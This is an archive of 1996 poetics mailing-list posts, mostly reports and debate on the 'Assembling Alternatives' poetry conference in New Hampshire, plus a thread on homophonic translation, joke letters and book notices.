THE NEW ENGLAND CENTER sits like a nest into a boulder-spattered wooded hillside on the edge of the University of New Hampshire campus. "To assemble," "one or other of two," etc.—-well, here it was: "Assembling Alternatives" sang like a bird’s egg, snug in the downy center of its forest loft. And what could be more to the point? Robbin’ these words from all points of the compass! Like the Vancouver conference of last summer, this conference enjoyed not only splendid weather (made even more delicious by the impending—though never arriving—sledge hammer of hurricane Edouard aka Hugo Ball rolling up the coast) but a similar (though not author-based) focus and an exhilarating sense of multi-Englished poetries. (Aussi avec un peu de Quebécoise!) For a brief few days, New England became New Englishes, words falling ah from the clear blue skies. Unlike larger conferences (and the word "conference" shouldn’t even be used here) where words tend to sediment into a drone, Assembling Alternatives offered a gourmet feast of language leaping electrified

across continents, seas, and islands. The talks were terrific, the readings offered one after another exemplar of how experimental writing (also sometimes called "linguistically-innovative" writing—-among other terms) might propose itself—and how also it might NOT be limited. Despite the wide range of pronunciations, dialects, sets of vernacular, tropes, themes, perspectives, and forms, Assembling Alternatives allowed a multi-voiced rendering of innovative language—-languages that never once sat still nor relented on their challenge to the gourmet-fed, sleep-deprived, conversation-charged, tone-ecstatic, grammar-doubting assemblers. As I mentioned in the talk I gave-—and this was completely earnest—-listing the linguistic predecessors to electronic poetries—-Following World War II, the examination of system in Olson, Duncan and Blaser's serial works, Creeley's numeric determinations, Bernstein, Silliman, Grenier, Howe's radical typographies, the explorations of language by Maggie O'Sullivan, Karen MacCormack, Joan Retallack, and Hannah Weiner—and the work of all those listed in this conference program--and the alleatories of Mac Low and Cage point in different ways to various forms of nonlinearity that present in New Hampshire was a regiment of innovators that pointed in all these ways (as Gertrude Stein puts it: "a spectacle and nothing strange a single hurt color and an arrangement in a system to pointing.") There could hardly be a better assembly in this day and age to put forward what I wanted to say. It is hard to mention any specific participants (this is my point!) without doing disservice to the fact that the quality and strengths of nearly all of those present, were unveeringly strong. However, evening readings through the penultimate night alone offered the likes of Maggie O'Sullivan, Kathleen Fraser, Ken Edwards, Joan Retallack, Tom Raworth, Pierre Joris, Leslie Scalapino, Allen Fisher, Catherine Walsh, Steve McCaffery, Robert Sheppard, Karen MacCormack, Charles Bernstein, Bob Perelman, Denise Riley, Abigail Child, Barrett Watten, and Nicole Brossard, among other great readers. What, beside this extraordinary talent, made the conference so useful? One fact was the significant presence of women poets. (Out of 39 evening slots, for example, 16 were occupied by women—not yet representative but a sight better than most events.) Further, typically marginalized areas of working were brought straight onto the stage. One of these was performance poetry. The wide participation by performance poets was inspiring—-and the final night's reading turned out to be a state of the art fête, gala, grand … FESTIVAL (after all, this word was right on the conference program!) on how experimental poets might perform the word. In one evening, in a sticky Portsmouth theatre briefly stolen from the Rocky Horror Picture Show, performance/artists/poets such as David Bromige, Fiona Templeton, cris cheek, Paul Dutton, Caroline Bergvall, Hazel Smith, Christian Bök, and Seán ÓhUigín each took to the brightly-colored, multi-leveled stage. Sound poets Dutton and Bök performed at the apex of sound poetry's possibilities. cris cheek provided a multi-voiced tour de force.

Bergvall may've stolen the show with her understated style, her poignant delivery, her arched body which seemed to act as a catapult hurling her taut, multi-leveled sensual incantations sizzling into the top rows of the Seacoast Repertory Theatre. Another marginalized area brought into the spotlight was witnessed by the inclusion of electronic media in the event—-not only as a footnote but somewhat prominently. Though this was conference was not about electronic poetries let me congratulate Romana Huk for being one of the first to recognize, by including such a panel in the discussion of issues about innovative writing, that the formal issues about writing at the heart of experimental poetries ARE THE SAME ISSUES being explored by the literary electronic media. This is the first time I know that in a literary conference this kinship of language concerns has been addressed. This plenary session on electronic media included John Cayley, Jim Rosenberg, Chris Funkhouser, and me. The question period for this session was extremely animated. The main question: are the electronic media torturing the word by their hidden codes? Or are they providing tools to be used in an exploration of the possibilities of language? Though this matter wasn't brought to a final rest, the afternoon readings that day, which included poets working in electronic media (we got asterisks—-my spell checker just suggested "ostriches" or "austerities" here—-on the program!) certainly helped to suggest an answer to this question. This is perhaps a poet's perspective. Events such as this can always, in hindsight, be found to have shortcomings. But as a venue for listening to such poets reading and talking, the conference was an intense joy over too soon. And now? Many more books (and writing in other forms) to read. Edouard? Extratropical to the south of Nova Scotia, so says the National Hurricane Center. Thankfully, I still see pine trees and can now more vividly sense Irish intonations as I read...

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35. Bill Luoma
New Hampshire Briefs
Tue 3 Sep 1996

a short report from an unprofessional New Hampshire conference crasher. I only saw events from Sat evening thru mon, so missed lots of good things. also missed lots of early morning stuff. apologies.

I did buy Randolph Healy's book 25 Poems (from the Beau Booklet Series) (16a Ballyman Road / Bray, County Wicklow / Republic of Ireland / $10) and love it.

Readings that stuck with me:

Paul Dutton, mercury.
Deanna Ferguson, good sparse.
Lisa Robertson, repeating amazon over & over.

Miles Champion, 5 words at once.
Chris Stroffolino, eyes rolled back in head.
Hazel Smith, backwards.
Juliana Spahr, wanting to go to the beach.

I enjoyed the drive up with Tony Door because an '81 80 Langston Street tape of Berrigan's sonnets magically appeared in my mailbox on friday afternoon along with The basement tapes thank you anonymous donor, stopping in Boston friday night & sleeping on the floor of a studio apt with 5 others then having breakfast with Dan Bouchard Ange Mlinko Joe Torra and the twins, trading books, Margy Sloan with a streak in her hair saying that women usually asked her about her rings, chris cheek (who looks like mephistopheles according to JJ Moxley) walking up to Marjorie Perloff during his talk gyrating his hands and saying I am exciting the molecules in front of your face and you will breathe them in and be affected, trying to talk Paul Dutton out of his disillusionment with baseball, Miles Champion who reads faster than Tom Raworth, seeing Jim Rosenberg's screen of overlapping words & realizing it to be a representation of Miles Champion's tonal clusters yes I find hearing Miles Champion read not to be a diachronic event, Juliana Spahr saying there were three poems with monkey penises tonight, Peter Culley saying well what would Ted Berrigan do, meeting John Wilkinson who really saw the marginalization of Rodefer and we thought maybe Rodefern gets more popular in the uk and then Helen Vendler discovers him, sleeping on the floor of Miles Champion's & Peter Gizzi's motel room & yakety yak, watching the weather channel hysteria of eduardo, Lisa Robertson and the tie question (shorter is better), Tony Door tying it short the wife's job, Charles Bernstein drawing a graph of his educational riser on the chalk board in the bar (slope=4.7) while he told the story of how Clayton Eshelman once gave me an F in Vallejo/Artaud,

The Q & A session:
Q. Where are the brits?
A. In the bar,

drinking scotch with my friends and sitting on the ground at 2:30 in the morning, Tom Raworth wanting a pizza, Deanna Ferguson poking Bob Perelman in the chest repeatedly and saying you're more macho than Bruce Andrews, that's pronounced matcho for all you yanks, asking directions in a car from a local old guy and riffing with Steve McCaffery, Miles Champion, Tony Door, & Karen MacCormack:

take the spaul
  pspsauld
 sp shc sh shpalll

sp scshpaulding
turnpike,

Romana Huk being gracious and doing a great job, Fiona Templeton taking the skirt off the plenary session table, Steve McCaffery wanting to install trousers on its the exposed legs, noting that the daughters of albion took their breakfast together, Barrett Watten saying Eliot was most British when a) he was refusing to incorporate popular culture into his pomes or b) not having sex, Tony Lopez calling Barrett Watten ignorant & Barrett Watten saying he didn't appreciate being addressed in that manner, Billy Miles saying he's sick of americanocentrism, wondering about the assumed center of language poets in the "experimental community," Tony Door saying he always thought experimental meant like Jackson Jackson and that l-poets weren't experimental in a scientific sense, Barrett Watten saying his first degree was in science & usually people criticise him & camp as being too lab coaty oh and Joan Retallack is rigorous, lots of folks wondering where the people of color were, hearing only two men showed up to my panel which was composed of women, writing a Jeff Derksen poem on the drive home with Peter Culley Lee Ann Brown & Tony Door, I smell interstate.

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36. Douglas Messerli

Re: homophonic translation/translitics...

Tue 3 Sep 1996

Thanks Don, for correcting that. I was think, of course,
of MEN IN AIDA, but pulled my copy of PCOET instead.

Douglas

At 03:44 PM 9/2/96 -0700, you wrote:
>is PCOET a homophonic translation? or were you thinking
> of melnick's MEN IN AIDA?
>
> doncheney
> [redacted]
>
>You might also be interested in David Melnick's PCOET
>and in my own poem, "A Vector of the Straddle," a completely
>sound-rhymed poem from Donne.
>
>Douglas Messerli
>
>

>At 07:33 AM 9/2/96 -0700, you wrote:
>>>i'm looking for references to poems &/or poets using "homphonic
>>>translations"--th process ov "translating" texts from another
>>>language by substituting similar-sounding english words... as
>>>this:
>>
>>Several that come quickly to mind are:
>>
>>Louis (& Celia) Zukofsky's translation of the complete Catullus. The
>>opening of Louis (only, I think) Zukofsky's "A"-14 is a homophoic
>>translation of selections from the Book of Job. Six Fillious by,
>>collectively, bp Nichol, Steve McCaffery, Dick Higgins, Robert Filliou,
>>George Brecht, and Dieter Roth is made up of various homophonic
>>translations of Filliou's 14 Chansons et 1 Charade (published by Membrane
>>Press). I think one of the translations in Nichol's Translating Translating
>>Apollinaire is also homophonic as are several and in general there is a
>>kind of homophonic tendency that comes and goes in Nichol's work includ-
ing
>>homophonic English trnalations of English original texts and words. I
>>remember that several Harry Mathews and Charles Bernstein poems being
>>identified as homophonic but I don't recall which ones.
>>
>>I'm sure there are lots of others I'm forgetting & way more that I never
>>knew about.
>>
>>Bests
>>
>>Herb
>>
>>
>>Herb Levy
>>[redacted]
>>
>
>
>>-- Saved internet headers (useful for debugging)
>>Received: from listserv.acsu.buffalo.edu by mail.ucsd.edu; id JAA19303
sendmail
>>Received: from listserv.acsu.buffalo.edu (listserv.acsu.buffalo.edu
[128.205.7.
>>Received: from UBVM.CC.BUFFALO.EDU by UBVM.CC.BUFFALO.EDU
(LISTSERV release

>>Received: from UBVM (NJE origin [redacted]) by UBVM.CC.BUFFALO.EDU (LMail
>>Received: from hollywood.cinenet.net by UBVM.cc.buffalo.edu (IBM VM SMTP V2R3)
>>Received: from ppp83.cinenet.net by hollywood.cinenet.net with SMTP (8
>>X-Sender: [redacted]
>>X-Mailer: Windows Eudora Light Version 1.5.4 (16)
>>Mime-Version: 1.0
>>Content-Type: text/plain; chars
>>Message-ID: <1.5.4.16.19960902080017.1
>>Date: Mon, 2 Sep 1996 09:25:23 -0700
>>Reply-To: UB Poetics discussion group <[redacted]>
>>Sender: UB Poetics discussion group <[redacted]
>>From: Douglas Messerli <[redacted]>
>>Subject: Re: homophonic translation/translitics...
>>To: Mul
>

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37. Douglas Messerli
Re: Homophonic translations
Tue 3 Sep 1996

Yes, Ron, and it's still one of favorite poems.

Douglas Messerli

At 03:34 AM 9/3/96 -0700, you wrote:
>Luigi-B.,
>
>My one attempt at homophonic translation was published in the "SF
>Forum" of ROOF 5 (winter 78) as "Do We Know Ella Cheese?" It begins:
>
>Where
>when itch scree
>hurt as much?
>
>Then how's their angle
>or known gun?
>
>Honky sets selves,
>his name a eye nor much.

>
>Plows lick answers:
>each fucking a fun sign-in,
>starker in design.
>Dent is seen as niche....
>
>(and so forth for seven long pages in that old Roof 8.5 x 11 format).
>It was a piece I started circa '71 and worked on sporadically for
>several years before I began to be satisfied with it.
>
>I believe that somebody (Robert Kelly?) at one point a few years back
>was trying to put together an anthology of such translations, but I
>don't think anything ever came of the effort.
>
>All best,
>
>Ron Silliman
>

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38. Julia Stein

Re: Post-Labor Day

Tue 3 Sep 1996

In honor of the exotic dancers in S.F. who just voted to unionize their work-place, I'd like to contribute an excerpt from Joan Jobe Smith's poem "Intimacy" from her book Jehovah Jukebox about working as a go-go dancer:

We were Delilah, Salome, Jane Avril,
and Gypsy Rose Lee. We knew
what happened to Samson's hair,
the Baptists's head, why Toulouse longed
for absinthe, and who was the real father
of the child in our wombs. We knew
the original looney tunes, and go-go steps
danced in the Cro-Magnon caves by moonlight ...

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39. George Bowering
Re: Homophonic translations
Tue 3 Sep 1996

> *Luigi-B.,*
>
> *My one attempt at homophonic translation was published in the "SF Forum" of ROOF 5 (winter 78) as "Do We Know Ella Cheese?" It begins:*

I also did some of that stuff in _Allophanes_

George Bowering.

"I sit inside the blond before you"

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

--Anne Waldman

fax: [redacted]
e-mail: [redacted]

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40. George Bowering
Re: cocktail waitress
Tue 3 Sep 1996

> *George Bowering added ("I have been instructed..."):*
>
> *big oops--private message went to the list again--at least it wasn't the*
> *one about *my* intrigue with Rachel L. while Pierre took pictures--*
>
> *Gwyn, tres embarrassed*
>
> *That was YOU? As Pierre is a lousy photographer, but a great poet, it was*
> *hard to tell who the partly-clad person was. I thought it looked a little*
> *like David Bromige, but the tan wasnt deep enough.*
>
> *I certainly hope Pierre finished duplicating the pictures so we can*
> *clean up in New Hampshire. Btw that WAS Bromige in the corner, but*
> *he seemed more interested in his baseball card collection (despite*
> *all the brave talk about "desire"). P.S. Pierre, when do we get*
> *paid for the shoot?*
>
> *I have been instructed by my old friend and present co-author Mr David*
> *Bromige to tell you that his lawyer will be in touch with you, just as soon*
> *as he has finished compiling his information for the suit he has prepared*

> *against a Mr Wallace, who apparently was a little careless with some women's clothing in Washington.*
>
> *Peckham, Gass, Fairweather & Zukofsky*
> *Attorneys at Law*
>
> *September 3, 1996*
>
> *Dear Mr. Bowering:*
>
> *It has come to our attention that you are making veiled threats to our client, Rachel Loden, using the cover of a Mr. David Bromige, a notorious carnival barker of uncertain national origin. We strongly advise you to refrain from further insinuations about Ms. Loden and the originality of her sonnet sequence, "Snorkling the Lotus." If we are unsuccessful in obtaining your cooperation, we may be forced to bring certain delicate matters to light. We are in particular most anxious to avoid any further mention of that sordid little contretemps with the cocktail hostess in Winnipeg. Need we go on?*
>
> *As for Mr. Wallace, we earnestly hope that he seeks counseling.*
>
> *Yours very sincerely,*
>
> *Roderick Slyme, Esq.*

That little slattern! She promised me that she would not breathe a thing to a soul. Okay, Okay, I take it back. And I think that I can speak for mr. Bromige.

I apologize to rachel for everything, Mssrs. Perhaps you can tell me how I might return a certain object to her. I remember the way the corners of her eyes turned up when she showed it to me.

George Bowering.

"I sit inside the blond before you"

--Anne Waldman

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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41. **henry g**

DEATH OF THE LANGUAGE POET

Tue 3 Sep 1996

DEATH OF THE LANGUAGE POET

to the tune of "erie canal"

It was 40 miles from Albany
forget it I never shall
(or was it Buffalo? or - Orono?)
he was driving like hell
through the Dutch foothills in Dutch.
The night was fauogued, dark,cloodie.
Nedertlandisch.
He was thinking to hisself: "raw puddle strudle chip fart blague m'gosh".
Swerved to avade a mere lil bunny rabbit - into the right lane!
The wrong right lane - the left lane...
Cops to the right of 'im - cops to the left of 'im
hollered and thundered. Stormed at with shot & shell
(fergit it me never shall)
he pulls over. Officer Les Strudel - in hip boots.
"Drivers License." Lou Paul (Langpo):
"Skid works the road flip fear squirt."
Les steps back apace. "OK fella - step outa the car, slowly."
Lou climbs out meekly (wearin his collegiate apron
Two bars of community service demi-denim & blue loafers)
Les: "Feelin alright?" Lou: "Brit band-aid"
Les: "Bump yr head er something?" Lou: Egg fool neal viper young no-head!"
Les: Now don't get rowdy - where you headed?
Lou: Squeeze chip le autre genes warpo trammel hide bucket frisbee..."
[mumbling, reaches for conference paper. Les "freaks" FREAKS f*r*e*a8l.n
>AKje
draws. Fires. Lou falls, South Dakota. Presses lettres to litter atcher
atch atchoo agghhhhhh.....[sound of archived papers fading into futurity]]
Les: I didn't mean to...
Lou: I'm not really....[sighs] Dad. I am an... AUTHOR. [fade-out] Je suisse..
[brit music. french kisses. American Flag.]
The Boy Scouts washed his body off the turnpike
with Pan T-Hose and D-Odiferrance-Defungt...

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42. Susan Schultz

my two senses

Wed 4 Sep 1996

Dear all--to those of you who were in New Hampshire, it was delightful meeting you again or for the first time. Best to Romana, who did an absolutely terrific job. A few comments, following Marjorie Perloff, if not exactly on the same subjects, and perhaps too autobiocritical: --I felt least at home toward the beginning of the conference when I encountered utter culture shock moving from a place (Hawai'i) where Caucasians are a minority to a place (the conf) where there was hardly anyone else and I had the sense that differences were being hidden under a rhetoric of assembling samenesses; --I felt most at home at the end of the last panel during the postcolonial moment (this was when the culture shock wore off quickly!) when suddenly the Welshman was chiding the Englishman for colonizing the concept of "bard" and the Irishman was critiquing the American poets for being provincial and the Australians were silent perhaps because they were not even on the billing, though Phillip Mead and Ann Vickery and Hazel Smith were very much in attendance and participating brilliantly, and I felt compelled to make trouble about the lack of multicultural input from my peripheral perspective in mid-Pacific (actually, I'm now in New York state, but no matter, I'm still jetlagged by several hours). --This reminded me of local Asian American writers in Hawai'i telling mainland white writers and critics that they didn't know enough about Hawai'i and were getting things so very wrong. It reminded me of Hawaiian writers and critics telling both local Asian writers and mainland haoles that they were appropriating the place for their own interests. It was so damn contentious that I felt right back at home. --So I'm glad we met and listened to too much stuff and looked at pictures of some poets and heard critics through the interstices (cf. Marjorie P). And I'm actually glad that we fought a bit. --In response to something Steve Evans, whose work I greatly admire, said to me. No, I don't think that I was assuming that this conference as normative and that we should invite others to participate in it. Rather, I think we should change the entire rhetoric of our "alternative" conferences to include--in a REAL sense--writers who are not white and who are marginalized in very different ways from Language writers--marginalized by class and language and race, rather than by position or stance, such that a genuine and noisy dialogue would ensue. How's about Language writers (we all know their names!) and Hagedorn and Yamanaka and LKJ and Brathwaite and Barry Masuda (a former student and wonderful local/Language writer) and others and others all together under one hothouse roof?? This involves more than just inviting people. It involves re-figuring our rhetoric about ourselves a bit. And it would be exciting--to cite just one imagined example--to see cris cheek perform with a dub poet and to hear the music of what happened (to quote a

name much hissed at). --This is where I admired Bob Perelman's brief plea for intelligibility. Yes, the poetry should be, can be, as unintelligible as possible. But the explanations need to be there and be good. In my classrooms the explanations are rewarded with some interest. Otherwise, any Language writer, no matter how revolutionary and subversive her rhetoric is "just another white guy" in Hawai'i--or other places off the beaten monocultural track--and will not get noticed except as another imperial presence. Ten people, all of them lobbied frenetically, will show up to her reading in a large auditorium, because they've already seen, or think they've seen, too many such "white guys" before. Unless that engagement is entered into, and shouted about, certain assumptions, which are often untrue, will govern. This is not a sell out, but a possible connection with writers who are doing similar, if different (of course!) projects, and who would not be reached or reach "us" without the effort. --My aol bill is increasing geometrically! A fond good bye to all.

Susan

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43. DS
Sun&Moon
Wed 4 Sep 1996

Sorry to ask this over the list.

Could someone Sun & Moon email me, i have lost the address & need to discuss an account.

Thanks,

Dan Salmon.

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44. Ken Edwards
Assembling Alternatives
Wed 4 Sep 1996

I write in a state of exhaustion & jetlag, so forgive me. New Hampshire was quite overwhelming, and I share the sense of excitement in Loss Glazier's and Bill Luoma's posts.

In reply to Marjorie, with the greatest respect to her and her critical kindred (and I was very pleased to meet her for the first time -- her energy & erudition reminded me somewhat of the late Eric Mottram, whose irascible shade I felt hovered over New Hampshire like that hurricane that never arrived): I was glad to be part of an event in the academy in which poets prevailed. Speaking for

myself, I would not have been able to attend if I hadn't had financial assistance from the conference -- thanks, Romana. It was right that poets without access to the institutional support of the academy should have been helped in this way, and that they were the focus of the event (embarrassing as those pics in the brochure were!). I too was sorry that Philip Mead's excellent paper on the Australian scene provoked no discussion, but perhaps this was not unconnected with the fact that there were no Australian poets present, so it was decontextualised.

I think some of Marjorie's points are answered quite well by Robert Archambeau, so I won't take any more space here. My only beef about the panel sessions was that people tended to turn up to those panels addressing subjects they already knew, rather than seeking out, um, alternatives. (I am amazed that anyone at all turned up at 8.30 in the morning to my own talk on British small presses, but disappointed they were mostly Brits who knew it all backwards anyway.)

Revelations for me (here I disregard the British contingent, and others whose acts I already know & love): Lisa Robertson's fierce intellectual girlishness, Leslie Scalapino's spine-chillingly wonderful voice, Rae Armantrout's humour, Abigail Child (including such of her films I managed to catch), Christian Bok's virtuoso vocals. There was an unfortunate sense that the afternoon readings were second-billing to the evenings, and I wish I'd caught more than the last five minutes of Jeff Derksen; I also enjoyed Lee Ann Brown, Peter Gizzi, Deanna Ferguson, Juliana Spahr and Chris Stroffolino, among others.

The strong showing by women poets and critics has been mentioned. Good to see an Irish contingent, and Maurice Scully in particular was as great as always, but the older Irishmen seemed strangely out of place here.

I'm sad it's all over, looking forward to the book and the video, a little more hopeful that national barriers are coming down. The difficulties and shortcomings are hugely outweighed by the thanks we owe Romana Huk for this extraordinary thing happening at all.

Ken Edwards

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45. **Joe Ross**

Re: New from Buck Downs Books

Wed 4 Sep 1996

A Must Have . .

Sonnets of a Penny-A-Liner

Poems by Mark Wallace
Prints by Lawley Paisley-Jones

Orders to: Buck Downs Books
P.O. Box 50376
Washington, D.C. 20091
($9.00)

"The road to wisdom / has lots of stores and restaurants"

Mark Wallace's wonderfully sharp, self reflexive, and darkly humorous sonnets are wisdom teeth stolen from the golden mouths of metaphysical husksters, penny-a-line journalists, late 20th century loners, liars, and poetic hit-men. Death and the double keep Wallace company on his forays into the tumultuous twister of the American psyche. Whether playing a ghostly stranger from a Burrough's cut-up or a Kafkasque desk clerk "chopping off fingers and facts," Wallace is always the witty, wandering versifier behind the dry jibe and existential stool. His poems and essays have played a major role in helping to define what has become post "language" poetry.

-Charles Borkhuis

In this new collection of poems, Mark Wallace shows that the obstensible strictures of the sonnet form can be liberating, can be an enabling constraint allowing the thought to branch and scan. A distinct sensiblity emerges here, one that is preoccupied with a past that interweaves with the inexplicable details of daily living, and which struggles with the effort to establish human connection against the odds of indifference and unthinking reflex. Rounding out the words are Lawley Paisley-Jones's highly evocative digitized images.

-Daniel Barbiero

Mark Wallace creates a poetics of paradoxes. The reader is stunned by the sheer intelligence of it, yet there is warmth and an almost frightening vulnerability. Mark Wallace is a visionary who refuses to deny what he sees. His poems are sensitive and important.

-Susan Smith Nash

from: Sonnets of a Penny-A-Liner

$1.54
Poetry doesn't care who loves it
warehouses howl of debris, random fetters
of work, business seizes ground
Who could possibly be superior
when countries are filled with all they don't know
Whoever comes forward to take the mantle

in the history of kings is a fool and I hate them
Stand me in my house
Stun me to know where art is a prison
A graver stain is in the blood
then who will be the next and latest greatest thing
I'll drink to complaint and go on plying
trade turned to a wing, above this boat,
to fly so not to float

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46. Keith Tuma

Re: Assembling Alternatives

Wed 4 Sep 1996

Still too sleep-deprived to wash off the gallon of coffee I just poured over my head, so a longer post will have to wait, if it's forthcoming at all, but here's a few brief remarks regarding NH:

1) You were there (or weren't) the day that "language poetry" died its most public death. But it was already dead. Now that Frankenstein has been put to rest, the question is whenceforth,and I expect that "language poets" will--as they have begun to--provide SOME of the most provocative suggestions and examples.

2) Marjorie Perloff has been slugging it out on behalf of SOME of the most vital work (in the US) for years in the crucial site (cf. my conference remarks) of the academy. She was the only academic critic of her gerneration at the conference and deserved more time. Money is another matter: Mills and Catherine Walsh both work part-time in Dublin. Etc. etc.

3) American self-absorption and provincialism has been and is a problem (cf. my conference remarks). But anti-american sentiments have been (and are) a problem too. All of these things have a history: "americanocentrism" (what a word) is an abstraction. The whence now question involves a thinking-through of the problems of distribution. Allen Fisher, cris cheek, Peter Middleton, Trevor Joyce, Alan Golding, and the zombie now typing had hoped to initiate a public discussion of possible SOLUTIONS to these but the crush of events prevented it. This here little list might take up such a discussion. Or it can whine about this and that.

4) Everybody (I hope) knows we have to rethink "alternative" with more attention to ethnic, regional, class, and racial particularities. But we also have to reconsider its value in group formation (cf Peter Middleton), audience- building and poetic practice (cf. Perelman), and political praxis (cf. Watten). Charles

Simic was at several of the readings. Tapes should be sold cheap to Helen Vendler, who has now (almost I'm told) managed to acknowledge Mina Loy.

5) Re #3 above: not only distribution but critical and institutional practice vis-a-vis poetry and poetics.

6) Open-panel discussions with poets and critics, more public space, mats for free-style wrestling. But Romana Huk deserves a medal, if she hasn't already won one in long-distance running.

7) More coffee please and some of those sour grapes. Numbers 8-1997 forthcoming asap. Hello again Saddam!

Keith Tuma

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47. maria damon
Re: my two senses
Wed 4 Sep 1996

i appreciate susan schultz's comments. even tho i wasn't there an NH, the matters she brings up are ones that are not limited to that conference but extend to this "scene" in which i've found myself a happy and (as far as i can tell) respected player (i never thot i'd be here; it's been wonderful to have interlocutors). don't get me wrong, i enjoy the list, the scene, the folks. but we're not as eclectic as i'd like us to be; not as inclusive (and i don't mean that in the grande-geste patronizing piety of much "multiculturalism") etc etc...well y'all know what i mean, i won't go on and on...just came back from sf it was grand so maybe i shd lay low a coupla daze before blasting back onto the list; saw dbkk, steve carll, charles smith (thanks for coming all that way, charles), norma cole, mpalmer, kush, whom i haven't seen since shortly after kaufman's death, jay schwarz (are you on yet jay?), some stein fans i didn't know, beverley dahlen bob gluck mostly folks i was meeting for the first time. anyway, it was fun and so i shdn't come back blasting off. bests, maria d

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48. Brian McHale
Re: Assembling Alternatives
Wed 4 Sep 1996

More New Hampshire post-mortem: I don't think I share Marjorie's sense of grievance at critics being treated like second-class citizens at "AA." Frankly I was happy enough to hear from the poets twice over; their talks & readings were information-rich even when they didn't succeed particularly well. But I second Marjorie's complaint about the lack of discussion-time. Not only did

good papers not get the responses they'd earned, but also people didn't get called often enough on statements they ought to have been called on. An example: at least twice, speakers casually knocked ethnopoetics, & there was no opportunity to demand that they explain/justify themselves. Well, we all know that ethnopoetics was benighted -- racist -- neocolonialist -- primitivist -- don't we? It sure is lucky that we're enlightened now .... I find it amaz- ing that with all the constant chatter about historicizing this & historicizing that we're (first-person plural to spread the blame around) still ready & will- ing to apply present standards a-historically to past moments. (Retrosepctive self-righteousness is one of my favorite attitudes.) Not that we shoudn't judge the past. But a little fairness, please: remember that the ethnopoetics project changed over time, & that its practitioners cor- rected or repudiated earlier missteps; remember how valuable the whole project was in expanding our collective sense of what "poetry" could be, of what "con- temporary" could mean, etc. In short: without the contribution of ethnopoetics (among many other things) we wouldn't be in the position now to criticize retro spectively the benighted neocolonialism, primitivism, etc. of ethnopoetics.Pity the poor ladder: folks use it to climb, then just kick it away.... End of ser- mon. Apart from that, "AA" was a gas. All honor to Romana Huk. Brian

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49. Douglas Messerli

Re: Sun&Moon

Wed 4 Sep 1996

Our E-mail address is [redacted]
Our website, from which you can also E-mail us is:
htt;://www.sunmoon.com

At 05:33 PM 9/4/96 +1200, you wrote:
>Sorry to ask this over the list.
>
>Could someone Sun & Moon email me, i have lost the address & need to discuss
>an account.
>
>Thanks,
>
>Dan Salmon.
>

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50. **william marsh**
Re: translations/transcriptions
Wed 4 Sep 1996

For some of the reasons addressed here, i've often considered "transcription" a better term for this practice -- especially in the musical sense of *an arrangement for a different instrument* -- but also perhaps as a phonetic transcription, in which English serves as the "phonetic alphabet" into which the original is transcribed.

bmarsh

At 10:41 AM 9/4/96 BST, you wrote:
>I just wanted to address the word "translation"
>in this phrase "homophonic translations":
>
>1) Is there an attempt to bring in an idiom
>that brings over the author translated; ie what
>that author might have done in our
>language environments and culture environments?
>
>2) Is there an attempt to bring in a
>(translated) author whose presence in modern
>idiom is rebarbative, disruptive,
>*not* hip and modern, as a corrective to
>modern idiom, eg T.S. Eliot?
>
>3) Is homophonic translation an excuse for
>a poet with a rampant ego (like Zukofsky -
>see Mary Oppen's memoir in her Meaning A Life)
>to riff off the original, perhaps as if thus
>an equal, without actually measuring up?
>Does it take some of the reflected glory
>of say Catullus, the Establishment glow?
>
>3-B) If it is "play", when we play as adults
>shouldn't it be different from playing as a
>child - since we cannot pretend to a child's
>lack of understanding of ramifications,
>except as a forcefully asserted imitation
>child persona? Whose play is that? How
>enjoyable for those others in one's circle?
>
>4) How often is homophonic translation what it

>might say it's trying to be: a more modest
>attempt to enter the cultural negotiation
>between readers in an Establishment and writers
>who have been canonised into an Establishment?
>Who do not necessarily belong there and/or are
>not particularly there for themselves but
>actually as a culturally representative
>lab specimen in a lab which neither understands
>the culture nor "its" "specimens"?
>
>5) How often is such translation a kind of
>Johnny Rotten type punk (ie High Modernist,
>though not, interestingly for the great
>20th century translator, Poundian) hatred
>of the past, and puerile yaa boo sucks to
>the repressed patricians who need to lighten
>up (or as Barrett Watten is reported, not much
>less puerilely to have said at New Hampshire,
>about Eliot) or get more sex, without fully
>addressing one's envy, one's desire to have
>the same (actually skilfully & heroically,
>sometimes, achieved) poetic appeal?
>
>6) And what kind of language permission is
>there, esp for an experimental poet, to use
>more politically incorrect diction and old-fashioned
>"patriarchal" wistful lyrical cadences, under the
>guise of doing it only ironically?
>
>7) Can the pure homophonic pleasure, of attempting
>to produce a similar sound and surface to one's
>original, help one to do some translation which
>incorporates a good homophonic ear but also
>seems to respect the author and the author's
>content? This seems to be to what Derrida does
>when he writes through (and in imitation of,
>but also going off at lateral tangents to)
>Ponge, Genet, Heidegger, Hegel etc?
>
>
>I haven't seen too many examples of 1, 2 or 7.
>

>
>
>Ira Lightman
>
>

↑ Index

51. Mark Wallace
pasta point of no return
Wed 4 Sep 1996

Dear Ms. Loden and others:

My lawyers have counselled me to say that I am not responsible for any cyber replicas bearing my features and claiming to be me. Although I did participate in early stages of the CIA cloning project, I quickly saw that the goals of the program were not, in fact, to make me more available, but instead to undermine my public image as a wearer of only the finest pastas. Anyone on the list who misunderstands the nature of this communication, and the reason why it must take place in a forum claiming to have some relevance to the practice of poetry, is directed to take their concerns to the CIA, who I must say, in all fairness, are experts at policing, despite the dubious goals of the current cloning project.

BEWARE ALL CLONES!

Sincerely,

Mark Wallace (as represented by Reznikoff and Stephens)

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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52. Ira Lightman
Re: Homophonic translations
Wed 4 Sep 1996

I just wanted to address the word "translation"
in this phrase "homophonic translations":

1) Is there an attempt to bring in an idiom
that brings over the author translated; ie what
that author might have done in our
language environments and culture environments?

2) Is there an attempt to bring in a
(translated) author whose presence in modern
idiom is rebarbative, disruptive,
not hip and modern, as a corrective to
modern idiom, eg T.S. Eliot?

3) Is homophonic translation an excuse for
a poet with a rampant ego (like Zukofsky -
see Mary Oppen's memoir in her Meaning A Life)
to riff off the original, perhaps as if thus
an equal, without actually measuring up?
Does it take some of the reflected glory
of say Catullus, the Establishment glow?

3-B) If it is "play", when we play as adults
shouldn't it be different from playing as a
child - since we cannot pretend to a child's
lack of understanding of ramifications,
except as a forcefully asserted imitation
child persona? Whose play is that? How
enjoyable for those others in one's circle?

4) How often is homophonic translation what it
might say it's trying to be: a more modest
attempt to enter the cultural negotiation
